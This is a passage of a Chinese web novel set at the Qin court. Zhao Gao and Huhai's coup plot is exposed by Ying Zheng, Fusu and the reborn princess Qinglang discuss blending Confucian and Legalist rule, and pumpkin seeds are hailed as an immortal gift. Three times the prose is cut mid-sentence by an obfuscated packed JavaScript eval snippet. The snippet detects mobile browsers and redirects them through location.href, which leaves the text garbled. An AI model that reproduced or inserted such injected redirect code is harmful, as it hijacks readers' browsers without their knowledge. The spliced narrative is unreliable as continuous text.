每说一句,嬴政的脸色便阴上一分。 全部说完,嬴政的美好心情彻底烟消云散。 时间渐晚,云层烧起一片淡红,到了麻雀归巢的时间,小家伙们嘴里衔着泥草,扑棱棱地回到古树枝丫上、墙洞里、还有覆盖着延元万年瓦当的屋檐下。 翅膀扇得又急又用力,发出窸窸窣窣的声音,似乎要将其它声音全部掩盖,也包括宫殿中的告发之言。 …… 直到人定时分(半夜十点),赵高才急匆匆赶回沙丘行宫。 有人在行宫五十里外山上发现一白色麒麟,乃祥瑞之兆,本着死马当活马医的心态,右相冯去疾派赵高前往此山祭拜山神,为陛下祈福,昨日凌晨出发,今夜才归,虽然有女婿阎乐和手下小宦官留在沙丘,但这种重要时刻,离开权力中心一刻钟,他都会感到不安。 所以赵高回到行宫后第一时间借着关心陛下的名义,前往嬴政殿中探听情报,被侍奉的小寺人告知陛下已经睡了好久。 赵高:“情况如何?” 小寺人摇了摇头,面色黯然:“情况很不好。” 你的情况很不好,他心中吐槽,面上却狂飙演技。 得到了想要的信息,赵高没有回到自己的屋室,而是去找胡亥——被他选中的秦二世。 胡亥这次的态度更加犹豫不决。 赵高却忽悠他,陛下是德高三皇,功盖五帝,最圣明的君主对吧? 对的。 陛下二十余子中,无论哪位公子上位,都无法做到比陛下更圣明,更有威势,那么延续陛下的政策就好了,这没什么困难,公子您只需要牢牢掌握皇帝的威严就可以做到。 治理国家,这么大的事情以后再说,胡亥现在最犹豫,也是最担心的是,万一赵高和自己的密谋被人发现,那可如何是好? “陛下病重,蒙恬蒙毅不在此处,您乃陛下少子,最受陛下宠爱,臣兼管陛下符玺,我们只需要拉拢到左相李斯,此事便可万无一失。” “那李斯……能被我们拉拢到吗?” 胡亥心中忐忑,父亲刚继位为秦王时,李斯便跟着他了,数十年来,深受父亲倚重,怎么会突然倒戈? 赵高心里翻了个白眼,腹诽道:我不也是数十年来深受陛下倚重吗?甚至在钻研陛下心思这块,他还比不上我呢。 “我是奉太子您的命令去通知李斯丞相的,他怎么敢不服从命令呢?” 这一句“太子”,给胡亥叫爽了。 被叫一句“太子”就轻飘飘了,等被叫到“陛下”,岂不是更痛快? 但他还是不敢。 “我大兄扶苏那边怎么办?” 赵高阴狠道:“假借陛下名义,赐一份诏书给大公子,编造些过错,敕令大公子和蒙将军自杀,再趁蒙毅不知情,派人将他下狱谋杀。” 胡亥和蒙家兄弟没什么接触,死就死了,无所谓。 “扶苏他,毕竟是我的兄长……” 要是赵高提完这个建议,他直接去执行了,就显得他好像是个畜生似的,得让赵高多劝几句,把这个“残忍卑鄙”的大帽子丢到他头上,胡亥心里才会安心点。 赵高:“王位之争,向来不是你死就是我亡,公子可曾听过郑伯克段于鄢、公子光刺杀王燎、周王室子带之乱这些典故,这些人争夺王位时,哪一个因为是对方亲兄弟就心软放手了?若是让大公子继位,蒙家兄弟显贵,这大秦,哪里还有你我师徒的容身之地啊?” 实际他是自己害怕,如果你是一个好人,会认为扶苏仁厚,但如果你是一个坏人,那他也有一些刚毅勇武在身上的。 毕竟是敢正面劝诫始皇帝的大公子,意志坚定到被打发去北地都不动摇,上位之后,处理赵高就像砍瓜切菜,干净利落。 “何况就连当年公子小白亦同其兄公子纠争夺王位,上位之后,在管仲的辅佐下成就霸业,公子您又比公子小白差到哪里去呢?” 公子小白,就是春秋五霸之首的齐桓公。 胡亥道:“并非是我对兄长狠心,只是这件事危险重重,稍有不慎便会生出变故,胡亥所为,都是不得已而为之啊。” 他又说:“还有那个傻子十一,不光伤我手臂,还戏弄于我,日后我定将她绑在柱子上,半月不给她吃饭,还要用砟石砸她的脑袋。” 赵高有点惊讶,我嘞个苍天啊,陛下您知道您儿子已经畜生成这样了吗? 他又加了一把火:“您年纪小,朝中又没有根基,突然继位,恐怕各位公子公主和大臣都会对您表示怀疑。” “把即将到手的权柄推之门外,关键时刻犹豫不决,将来一定会后悔。果断而大胆的去做,就一定会成功,您是否做好决定,按照我说的做?” 胡亥道:“天子之所以尊贵至极,就是因为没有人敢忤逆他的决定,没有人敢触犯他的威仪。倘若能登上那个至高无上的位子,至于那些兄弟姐妹,只当我胡亥从来没有过这些罢!” 胡亥抓住赵高的手臂,眼含期盼,迫不及待道:“我想要当皇帝,请先生助我!” 赵高点头,正要回答,却被一声巨响打断。 “砰!”的一声,大门被踹开,二人齐齐往门那边看去,踢开房门的人是子婴。 他站在门口,瞋目裂眦,愤怒至极:“赵高,你这犯上作乱的恶贼!” 密谋被人打断,胡亥明显慌了,赵高却镇定地抬手:“公子莫慌,杀了他,就不会有人知道今晚的事……” 话还没说完,赵高也开始慌了,浑身发抖,脸色雪白,内心极度恐惧,怕到连五脏六腑都在颤抖。 因为他看到了子婴身后的嬴政,他们刚刚的谈话全被嬴政听到耳中。 头戴通天冠,冠前饰以金博山,玄衣纁裳,威武不凡,哪里有半点病重的样子。他手掌在剑柄处摩挲,看向赵高胡亥二人,目光凌厉,带着的森森冷意,令人生畏。 赵高直接跪了,速度快到出残影。 并不是说胡亥不想跪,而是他已经被吓懵了,两只腿一直在抖,根本跪不下去。 胡亥哆哆嗦嗦道:“父……父皇。” “父皇饶命,父皇饶命!” 胡亥用手扽住自己衣服,强逼自己跪下,磕头求饶,平日里娇生惯养破了块皮都要哀嚎喊痛的小公子,今日却仿佛身上不是自己的皮肉,咚咚几个响头就嗑得额头上全是鲜血。 赵高却又镇定了。 二十七年来,他对嬴政的恐惧已经刻到了骨子里,刚刚之所以跪得那么快,全是身体的下意识反应。 身体和大脑都在告诉他,一旦陛下不高兴,他就要跪下,要求绕。 可现在回过神来,他意识到这是没有用的。 没有用的,做什么都没有用,赵高自己就精通历法,他当然明白,自己今晚犯的罪都能写一整本竹简了,还都是谋逆这种大罪,除非嬴政生病把自己病痴傻了,否则无论怎么求饶,他的罪过都不会减轻一丝一毫。 既然这样,那他也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17463325|201281||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就没有求饶的必要了,赵高在嬴政面前卑微了一辈子,临死之前,反而想展示点自己的骨气。 “时乎时乎,间不及谋!赢粮跃马,唯恐后时,天不祝我,事竟无成。” 时光啊时光,短暂的来不及谋划,我就像携带干粮赶着快马赶路一样,唯恐耽误了时机,可惜上天不保佑我,我的谋划最终还是失败了。 嬴政只瞥了一眼,便不再注意他,反而说道:“胡亥,你过来。” 胡亥连滚带爬,用两条膝盖挪到嬴政身前,嬴政重重地给了他一个巴掌,声音中冷意更甚:“原本以为你只是被宠爱的骄纵了些,没想到居然有胆子谋划这些,不奉父诏、矫诏谋逆、想要杀死兄弟姐妹,胡亥,你真是让朕失望。” 胡亥还想继续求饶,试图勾起嬴政的父爱,但这一切都是无用功,嬴政只需一句话便定下了他的下半生。 “公子胡亥,贬为庶人,流放蜀地。” 然后,他终于正眼看一次赵高:“罪臣赵高,大逆不道,具五刑,车裂,夷三族。” 具五刑,是同时受墨、劓、剕、宫、大辟这五种刑罚,在脸上刺字、挖掉鼻子、砍掉双脚、宫刑、最后大辟就是死刑的意思。 郎卫们听令上前抓住赵高,他却突然暴起,求生欲使他分泌出大量肾上腺素,身体状态达到最佳,目标盯紧距离自己最近的青琅,掏出腰间三尺青铜剑挟持青琅,金色的锋利剑刃贴在她脖颈处,皮肤泛起一阵凉意。 “公主!”英布大呼一声,语气中满是焦急与担心。 “陛下,我不想死。”看清一切的赵高威胁道,“你的儿子蠢笨如猪,但女儿还算孝顺,让这些郎卫们退下,否则我就杀掉十一公主。” 出乎赵高意料,青琅没有丝毫惊慌,甚至还有心思问他:“然后呢,然后你想逃到哪里去?” 赵高:“我要去匈奴,十一公主莫怕,等我到达匈奴部落,一定会放了你的。” “你要去当秦奸吗?”青琅打趣道,“不要撒谎了好吗?你这么睚眦必报的人,怎么会轻易放了我?” “少废话。”被戳穿心思的赵高明显慌了,他头朝嬴政方向,依旧不敢与其对视,“如果不想让你的女儿死,就给我准备一辆马车,足够的水、食物和黄金。” “无论是为人臣,还是为人子,我都不喜欢让父亲为难。”青琅声音逐渐变大,周围所有人都能听见“我有幸得到仙缘,曾与仙人攀谈,又岂会折在你这种奸臣逆贼的手里?” 说完,还不等众人反应过来,左手出拳朝赵高挟持自己那只手的肘关节处捶去,破坏他手臂形成的稳定三角结构,赵高吃痛,下意识将手臂往左偏移,青琅则趁这个机会用右手抓住他的手腕往上抬,再一个擒拿,便成功脱身,期间还不忘往他下ti狠狠揣上几脚出气。 一气呵成,非常迅速标准的动作,甚至还是在一只手握拳的形势下完成。 这对青琅来讲,是很轻松的事情,力气没训练到现代的水平,但灵活性足够,在末世,身手差的人连全尸都留不下来。 看得英布忍不住发出“嘶”的一声。 他意识到,公主在骊山脚下敢和自己面对面近距离交谈,根本不是什么“他只是想要活命,给他一个活命的机会,我就安全了。” 是因为公主的攻击力能让自己毙命。 想明白后,他觉得青琅……更好更厉害了。 赵高强忍疼痛,伸手想要再抓青琅,几只羽箭从窗户处袭来,带着烈烈的破空声,插入赵高身体,他瞬间失去了行动能力,倒在地上。 青琅看向窗边,射箭的男人大概三十来岁,北地凌冽的寒风将他的皮肤吹得粗糙,却难以掩盖俊秀的五官,身姿挺拔,气质温润中又带些肃杀,身上的衣袍已是半旧,眼神被磨炼的更加坚毅。 扶苏终于赶在戏剧落幕之前,拿到一part戏份。 他担忧道:“青琅,你没事吧?” 青琅摇了摇头:“多谢大兄,我没事,一点伤都没受。” 说完,奔到嬴政旁边,嬴政又是关心又是安慰,几句话后,扶苏也走到人群中,朝嬴政行礼问安,并关心嬴政的身体,待得到完全无碍的回答后,这才放心。 郎卫进屋,将赵高拖走,赵高看似伤势严重,实际刚刚那几箭一箭没射中要害。 所以他完全可以活到受刑之时。 8. 儒法 处理掉这两个逆臣逆子,李斯第一时间上前和嬴政表忠心。 他跪在嬴政身前,言语情真意切,说自己辅佐嬴政的三十多年,说大秦土地的扩张、士兵的增长、资助派遣去各国游说的谋臣、说北驱胡人,南平百越、说修筑驰道、统一文字后树立的大秦的威名,说皇帝的贤明和自己的忠心。 说到最后,忼慨伤怀,泣数行下。 他说这些话的时候,青琅也在旁边听着,顺便做了一下阅读理解,其中大意无非就是:我是不会和那两个恶毒的奸臣一起同流合污的陛下您相信我啊我对大秦对陛下的忠心天地可鉴日月可表,我还想继续当丞相为大秦鞠躬尽瘁啊。 “左相请起。”嬴政亲自扶起李斯,“您年纪大了,这样身体会吃不消的。左相数次为我大秦立下大功,朕又岂会因为这逆臣的几句话就降罪与你?” “多谢陛下,多谢陛下。” 李斯庆幸自己及时回头,刚刚路上将赵高曾找过自己的事情主动坦白给陛下,不过陛下说自己年纪大了什么意思? 年纪大又如何,年纪越大经验越丰富处理起国事来也就越熟练,那些新进入官署的小吏,连秦律都背得磕磕绊绊,嫩瓜秧子似的,他们懂怎么揣测圣意吗? 他暗下决定,从明日起,每日减少一个时辰的休息时间,用来处理政事,日常行事也要更小心谨慎,不能出差错,至少不能在陛下面前留下任何坏印象,要做陛下的肱骨心腹,成为陛下最离不开的臣子,不光是他,李氏全族也要跟着一起卷。 李斯擦了擦额头上的汗水,不不不不,不要明日,今夜回去就再看一遍奏疏吧。 一场失败的政变,还未来得及行动便已失败,热闹逐渐散去,众人退走,嬴政将许久未见的大儿子召进寝殿谈心,从绢牖处能看到殿内重燃的灯火。 青琅一直在殿外候着,以防万一,太医又给嬴政开了一些利于恢复、补气血的药,所以她还需继续侍疾。 百无聊赖,青琅抬眼,看向夜空。秦朝的月色比现代的月色明亮很多。 没有现代都市中那些密集的灯光和工业污染,明月在天,清辉倾斜而下,照得大地如银似水,青琅抬头看向天边那轮圆月,月盈则亏,这是一个流传了千百年的道理,可实际这、只是光线角度的原因,月亮一直在那儿,没有破败,神农尝百草时、大禹治水时、孔子周游列国时,和现在看到的都是同一轮月。 月亮是不朽的,那你呢,青琅? 她心中询问自己,侥幸重活一世,你也能成为在这个时代立下不朽功绩的人吗? 蝉鸣声阵阵,微风吹过,轻抚脸庞,沁人心脾,使她感到很舒畅,危险的局面也已经被破解。 这真是一个美好的不得了的夜晚。 “十一,你怎么站在这里?” 熟悉的声音从后面传来,青琅转身看去,是从刚从嬴政殿中出来的扶苏,见她一个人站在这里,故出声询问。 “等着一会儿给父亲喂药。”她说,随后又朝天空方向仰了一下头,“顺便看看月亮,今晚的月光很漂亮。” 扶苏走到青琅旁边,二人一起并排站在石栏前,抬头看月亮。 扶苏谢道:“青琅,谢谢你。” 他还要在说些什么,青琅却开口打断:“大兄不必言谢,无论是从君臣还是家人的角度来看,这些都是我应该做的。” 扶苏身上的沙土味还未散去,看来真是奔波的很急,青琅侧头看了一眼他,借着皎洁的月光,发现他眼睛通红,还有些失落,应该是刚刚哭过了。 “你和阿父产生分歧了?” 扶苏惊讶道:“你怎么知道?” 青琅:“刚刚发生了两件喜事,按理来讲应该高兴,但我看你现在的表情却不是很高兴。” 扶苏:“贼人已除,父皇的病也好了,我当然开心。” 不光是这些,当他知道嬴政诏书上的内容时,更是百感交集。 在他心中,父亲喜欢胡亥、喜欢高、喜欢将闾阴曼,他们乖巧懂事,能讨嬴政欢心,但自己却总是忤逆父亲,好几次直言劝谏使父亲生气。 所以扶苏认为嬴政并不喜欢他这个“忤逆”父亲的孩子,可现在却发现,父亲并没有想象中的讨厌他,反而很看重他。 扶苏:“只是……” 他欲言又止,不知道该不该将心里话告诉这个年龄最小的妹妹。 青琅觉得,扶苏才是最适配娇子文学的人,毕竟这位是真的不敢看父亲那双深邃的眼睛。 “看你这幅苦大仇深的样子,不就是和父皇政见不和吗?” 不就是?!不就是?!嬴政是他爹更是他君主,政见不合可是一件很严重的事情,结果到了十一妹口中就成了轻飘飘的“不就是”三个字? 那他这些年在北地吹的风沙算什么?算匈奴欠揍吗? “天下刚刚平定不久,还有许多边境的黔首没有归附,诸生皆诵法孔子,主张德治与教化,可是父皇他……”扶苏说出自己的想法道,“他倡导的刑法太重了,我担心许多大夫黔首会暴起反抗,导致天下不安。” 当年嬴政坑儒时,扶苏便以这套说辞劝谏过他,最终结果为,嬴政大怒,儒生依旧入坑,扶苏也被派到了北地监军。 刚刚嬴政提及此事,扶苏的脑子是想要继续劝的,因为他很执着,很坚持自己的政治理念,但他的嘴却没有说话,因为他是个孝顺的孩子,不想把大病初愈的父亲给再气出好歹。 可是自己的政治理念没有得到推广与重用,这真的是一件很遗憾很遗憾的事情。 “阿兄推畅儒家,父皇重用法家,不光你们二人,就连许多朝堂中人都因此吵来吵去。” 扶苏侧头看她,因为她对朝中百官的了解而感到惊讶,正要发问,青琅却提前抢答。 “我这几天在行宫中见到许多官员,有带獬豸冠的,还有宽袍大袖的。带獬豸冠的骂儒生古板守旧,只会空谈。宽袍大袖的官员说法家行事横行霸道,刻薄少恩。双方言语一个比一个犀利,都把对方骂出花儿来了。啧啧,真想把他们都放到一个屋子里,看谁能骂,啊不,是辩论过谁。” 你以为他们没辩驳过吗?扶苏心想,我十一妹还是太天真了,双方在朝堂上都能吵起来,而且专挑对面弱点下手,骂得一个比一个脏,一个比一个扎心。 “他们呆过一个屋子。结果是双方有来有回,彼此有输有赢。” 回答的很认真,很一本正经。 青琅问道:“可他们又不是水与火,为什么非要针锋相对势不两立呢?难道不能相辅相成熔于一炉吗?” 扶苏一下子愣住了,相辅相成?他之前从来没有考虑过这个可能,法家严苛,儒家仁爱,分明就是相反的思想。 扶苏认真道:“请十一妹细说如何相辅相成?” “去掉一些陈旧,留下一些精华,然后将它们融在一起,趋于同一。” 青琅举了一个例子:“假如一位黔首在山林中遇到一位商贾,他觊觎商贾身上携带的大量钱财,起了歹心,杀人夺财,在行凶的过程中被自己的父亲看见,父亲应该替孩子隐瞒罪过吗?” “当然不应该!” 扶苏:“秦律有云:母、子、同产、夫妻或有罪而舍匿之其室及敝匿之于外,皆以舍匿罪人律论之。” 无论多么亲密的关系,只要隐瞒罪犯,都按照藏匿罪犯的法律处理。 青琅“可这不正是孔子的“亲亲相隐”吗?” 若是关系亲密之人犯了错,不应该去举报,而是要为其隐瞒,父为子隐,子为父隐,这才是正值品格的体现。 “你看,连你也不赞同这样的思想。所以我认为这些思想就应该去掉。可儒家还有很多璀璨的思想,那些不应该被埋没。” 扶苏陷入思考。 “去掉陈旧的,再取一些好的,二者杂糅。儒家很好啊,他们从骨子里维护君主的统治,而且他们的思想听起来也很好听,什么仁政、道德、忠恕之道,黔首们都爱听这些。但如果黔首们犯了罪,嚷嚷着什么仁啊爱啊从轻发落,这些会让 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17463326|201281||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 国家变得混乱。法家听起来冷冰冰的,不近人情,可那些律法却能将国家治理的井井有条,不分亲疏,不殊贵贱,既然这两种思想都好,那就全要了呗。” “儒皮法骨,用法家的思想行事,表面披上儒家的外衣,这样国家也治理好了,黔首也平静了。” 此思想在董仲舒天人三策中亦有提及。 “哦,除了这些,别的学派的思想也可以一起加进来,比如名家的正名,阴阳家的阴阳五行,墨家的尚贤、尚同,农家的重农,对我有用者,皆应为我所用嘛。” 儒家自己还内讧呢,性善论性恶论打了两千多年,荀子写了一本《非十二子》把孟子批的一无是处。 也不仅是孟子,其余道家墨家法家名家等荀子也同样开炮,顺嘴一起批评了。 其实扶苏听得还有一点点模糊,但这不妨碍他在整体方向醍醐灌顶,茅塞顿开! 原来还可以这样啊! “十一妹聪明睿达,阿兄不及也。”扶苏伸手,想要像以前那样摸摸她的头,突然意识到青琅已经长大,于是改为拍肩膀,“你长大了,以后能为父皇分忧了。” 青琅转移话题:“大兄,你跟我讲一讲你在北地的经历呗?” 扶苏刚刚在殿中和嬴政说过自己的经历,不过他面对父亲时小心翼翼,生怕说错了哪句话惹嬴政生气,现在则放松了许多。 他给青琅讲北地恶劣的天气,呼啸的烈风、将士们在军营中跳起踏歌、将匈奴击退数百里…… 青琅听得入迷:“北地,可真是令人向往啊……” 扶苏:??? 不对!他刚才好像没说任何北地舒服的话吧? 青琅:“大兄,如果有机会,我以后一定去北地找你。” 我也想击灭匈奴,立下战功。 “不可以去,北地很危险很艰苦!” 扶苏担心青琅安全,接连劝说,但很明显,青琅没有任何改变主意的想法。 殿内传来声音:“你们两个声音太大,吵到朕休息了。” 二人同时:“父皇恕罪。” 扶苏青琅相互对视一眼,随后又不约而同下意识紧闭嘴巴,一副干坏事被抓包的样子。 “滚回去休息,青琅,你今晚不用来了。”说完,避免青琅拒绝,又加了一句“这是君令。” “诺。”二人静悄悄离开嬴政寝殿,不敢再发出声音。 其实正常距离,嬴政是不会听到他俩谈话的,但刚刚距离不正常。 他站在门口,想听听俩孩子私下里在聊什么,结果听着听着,惊讶地发现,他众多子女中,最懂自己想法的居然是十一女青琅。 儒皮法骨,好一个儒皮法骨啊! 看来这一魂一魄十几年来没有白白游荡。经过神仙点化的孩子,思想境界就是高。 若有机会,他也想要同神仙见上一见。 然后又听到扶苏讲他在上郡的经历,语言比面对自己时生动多了。 结果讲着讲着,她那有仙缘的十一女居然要去边境找扶苏? 不行不行,边境多危险啊,她才多大年纪?嬴政及时出言阻止,打断他们的话。 …… 第二天,嬴政的病完全好了,工作狂的他召集百官开了一场将近两个时辰的大朝会,批评了一些臣子,表扬了一些臣子,又布置一些新的政务。 顺便商量了一下新任中车府令的人选。 下了朝会,嬴政将他有仙缘的大孝女叫来身边,准备问她一些早就想问的问题。 “父皇。”见到嬴政,青琅表现出一副很高兴的模样,询问道,“您的身体完全好了吗?” 在得到肯定回答后,青琅加速朝嬴政身边走过来,她走得太急,脚下一个跄踉差点摔倒,幸亏嬴政及时将她的好大女扶起。 就在这时,众人发现一件事。 青琅一直紧握的左手,打开了。 里面东西的面目暴露在大家眼中。 众人眼神止不住朝她手上看去。 9. 好瓜 那是一把小小的东西。 扁平,水滴状,一边呈半圆形,另一边尖尖的,长半寸左右,表面光滑有光泽,颜色是乳白或更深一些的米黄色,个个饱满硬实。 众人左看右看仔细看,都确定自己没见过这些东西,但凭直觉猜测这些……怎么这么像是某种作物的种子? “咦……?” 青琅发出一声低低的呢喃,大家眼神立刻转移到她的身上,只见她先是迷茫,随后恍然大悟,看起来似乎已经知道这是什么东西了。 嬴政指着她手心上的种子,问道:“十一,你可知此为何物?” 青琅可太知道了! “我知道。”青琅斩钉截铁道,“这是南瓜的种子,我曾在灵山上见过这个。” 嬴政,??? 南瓜是什么?灵山又在哪里? 这真是触及到他的知识盲区了。 青琅解释道:“灵山是一座很高的山,整座山都被森林覆盖着,上面有好多珍贵的植物和草药,山上住着十位巫师,他们在这座山上采药,灵山同时也是十巫往返于天地的地方。” 灵山之言,玄之又玄,妙之又妙,听得嬴政心中对灵山好奇不已。 “至于这个南瓜。”青琅将南瓜种子放到嬴政手中,“南瓜是生长在灵山上的一种作物,它它可以当蔬菜,也能当药材,但主要是作为主食吃的。” 嬴政暗暗感叹,不愧是生长在仙山上的作物,居然有这么多种用途? “外表墨绿色,扁圆形,像个磨盘,长这么大。” 她伸手比划了一下南瓜的个头。 这么大的个头?嬴政身旁的官员卫士们纷纷惊叹,能当主食吃的,粟稻麦麻豆梁之类的,都是小小的颗粒,他们还从来没有听说过这么大的食物呢,就连果子也没有这么大的啊! 嬴政迫不及待问道:“产量如何?” 其实他对南瓜的产量没抱多大希望,虽然这东西主要是作为主食食用的,可越珍贵的东西就越是稀少,何况南瓜还能当药材,药材产量一般都不高,许多还很娇气,需要专门的生长环境,土壤要肥沃,光照要充足,水分要适中,多了不行,少了也不行,因此他心中的标准是亩产一百斤。 秦朝规定,每亩宽一步、每步长六尺(138.6厘米),而长度,商鞅变法前每亩长100步,变法后改为长240步,这也是除了军功授爵制度外,秦人支持商鞅的一个原因,因为土地面积变大了,能收获的作物就更多了,黔首得到了好处。 至于粮食亩产,拿秦的主食粟米(小米)为例,亩产约为1.5到3石,换算下来,也就是一二百斤左右,所以嬴政心中对南瓜的预期相当于粟米产量的一半。 青琅摇了摇头。 现在轮到嬴政做阅读理解了。 摇头是什么意思?难道是亩产不多?那也没事,嬴政早已做好准备,就算这东西一顷地(100亩)才能结出一个果实,那也是神仙赐给他们大秦王室的祥瑞,仙缘,福祉!他嬴政也会将其当做珍宝好好珍藏的! 短短不到一秒的时间,嬴政就自己给自己攻略好了。 青琅:“我也不知道亩产多少。” 也对,巫神吸风饮露,不食五谷,又怎么会像凡人一样,每日为两餐饱腹而奔波,专门计算作物产量呢? 果然,青琅接话道:“十巫没有统计过南瓜的亩产。” “但儿臣曾粗略地数了一下,一亩地大约能结四五百个瓜,还有一次,一位巫师闲来无事,随手摘了一颗南瓜放到指尖上玩耍,抱怨说这六十斤的小瓜好轻,玩的不畅快!” “六十斤?!” 众人再次惊讶,眼睛睁得大大的,很明显被这个数字吓到了。 秦朝一斤相当于现代的253g,所以青琅口中的六十斤相当于现代的三十斤,但这也足够刷新这些大臣们的认知了。 “嗯。”青琅点了点头,又重复一遍“六十斤。” 六十斤,这可是六十斤啊!按照最低的标准每亩地结四百个瓜来算,那岂不是每亩地能生产两万四千斤的南瓜? 刚刚将南瓜比作如蓬蒿般大儿无力的人纷纷被打脸,并为大秦得到此神物感到高兴,只有嬴政,这个常年拜神寻仙的人意识到了里面的不妥之处。 其实不只是他,青琅也注意到了。 她弱弱地说:“父皇……” 嬴政:“何事?” “可是这个是生长在灵山的仙瓜,灵山洞天福地,吸收天地日月之精华,灵气充足,才能孕育出如此大的大瓜。我们尘世凡间……” 其实按照秦的度量衡来算,这个品种的南瓜每个重约14-20斤,一开始她想说5斤来着,秉持着充分发挥先抑后扬,先低调后张扬的原则,等待收获时震惊全场。 但之后又想起来,如果种在人间的南瓜长得比仙境还好,那这仙山福地也太垃圾了吧,在灵山上修行还不如在骊山修行呢,所以特地夸大了一些。 青琅的话正好提醒到嬴政心坎儿上了,他也是这么想的。 其他人也都认为,甭管在南瓜种在人间产量究竟如何,但这东西出身可是出身仙山啊!反正它就是好的! 如果青琅知道他们的想法,一定会暗中吐槽,怎么连瓜都搞血统论这一套吗? 它只是一个瓜啊!一个香甜软糯,营养丰富,能做出咸蛋黄南瓜和南瓜饼的美味南瓜。 有那见识广的,迫不及待向嬴政展示,言说自己听过最大的食物是南越那边的山芋,大的如成年男子拳头一般,小的个头像鸡子,这仙家东西,蕴含天地日月之灵气,就是和人间的东西不一样啊! 随后起承转合说出自己目的:“仙人认可陛下,您承天命,得此神物,德感苍天,威震四海……”后面还说了好多句夸夸的话,最后总结“必能延绵万世国祚,帝业永昌。” 他旁边的官员后悔死了,早知道自己平日就多读点书了,反应再快点,也不至于让他捷足先登,先拍龙屁! 不过现在后悔也晚了,在场的官吏,有一个算一个,全部不约而同跪在嬴政面前,大声高呼:“大秦国祚万世,陛下帝业永昌。” “大秦国祚万世,陛下帝业永昌。” “大秦国祚万世,陛下帝业永昌。” …… 青琅:O.O 百官此举,完美解答了青琅看剧多年的疑问。 古装剧的文武大臣如何在很短的时间内背下来那么大一长串文绉绉的祝词? 答:只背最重要的十几个字,然后随大流,大家说啥我就说啥,实在不行就在人群中滥竽充数呗。 “众卿请起。” 在诸位大臣的簇拥下,嬴政心情愉快,自觉得意,心中认定此乃天佑他大秦! 不光是上苍,老秦家的祖宗们肯定也在其中出了不少力。 仙人曾说青琅的手要到特定时机才会张开,那时嬴政还以为至少需要个十年八年的呢,没想到自己痊愈之后,她的手就张开了。 这证明什么?!证明朕就是这个时机,朕就是天命! 还有,这是一件和“秦”有关的赠礼。 作为大秦皇帝,他可太知道“秦”字的含义了。 嬴政见过周孝王时期的“秦”字,那个字被写在甲骨上,上面是两只手,中间有一根舂捣粮食的杵,下面是两株禾苗,这两株禾苗低垂着麦穗,表示已经成熟。 秦地宜禾,秦本意为“持杵禾苗”,有八百里秦川之名,所以秦积粟如丘山,富十倍于天下。 秦地,自它诞生起,便和粮食有着血脉相连的关系。 青琅手中的种子,虽然不是麦稻这些谷物,但也能当粮食,管他什么西瓜南瓜,能当粮食的就是好仙物! 其实就算不能当粮食,嬴政也会把它们放到总庙里祭祀的。 嬴政下令,命奉常做好准备,他要去附近的太和山祭拜天神,巡游结束后,还要回雍城祭祀祖宗宗庙……片刻功夫,就发出了好几个政令,看得青琅怪心潮澎湃的,原来当皇帝要这样雷厉风行,指挥有度啊! 以及,嬴政又命人将行宫中的农官叫来。 来的人有掌管天子亲耕籍田的籍田令,还有被派到巨鹿县监督农林、水利等事物的都官。 除了他们,以及七八名啬夫小吏,站在殿外,等待召唤。 农官进殿的时候,青琅刚结束画上的最后一笔,二人眼神止不住地往 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17463327|201281||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 书案上的画和漆盒上看。 柔软散发着细腻光泽的绢布上画了一颗他们从来没有见过的作物。 翠绿色,五角形的叶脉,红棕色的果实上长了些许浅色斑纹…… 是的,彩色画,嬴政刚开始问青琅能否画出作物成熟之后的模样时,青琅还觉得比较困难,下意识以为只能用黑墨画。 后来才想起来,秦朝时就已经有许多色彩鲜艳的矿物颜料和植物颜料了,刚出土时的兵马俑就栩栩如生,和真人没什么两样,只可惜在空气中暴露一段时间后,很快就氧化了。 还有那个装南瓜种子的漆盒,简直漂亮的不得了。 工艺极其精致,先以黑漆为底,然后用红、褐、金黄等颜料彩绘纹饰,还要在上面镶嵌螺钿,镂金错彩,光彩于文,巧夺天工。 现在却被用来装南瓜种子。 这简直是大秦版买椟还珠,可偏偏双方都觉得自己赚到了。 籍田令是位嬴姓的宗室,这个官职是他自己在战场上立功博取到的,虽然小,但好歹也算个官。 那位叫做陈苍的都田则是正经农家学派传人,正经的亲传嫡系传人! 不过青琅听到他的名字后很地狱地想到了某句“苍天已死,黄天当立。” 在来的路上,寺人已经和二位农官讲清前因后果,他们清楚地知道自己这一趟的任务。 就是种出灵山上的仙果! 寺人还恭喜他们即将要有一场通天的富贵,听得陈苍气上心头,恨不得直接撕烂他的嘴巴! 这哪是泼天的富贵啊,分明就是泼天的凶险,先不论仙山上土壤的灵气肥力比人间多多少?这果实他从前连见都没见过,根本不知道怎么种啊,不同作物的种植方法大有不同,是像稻一样种植,还是麦,或者是豆菽? 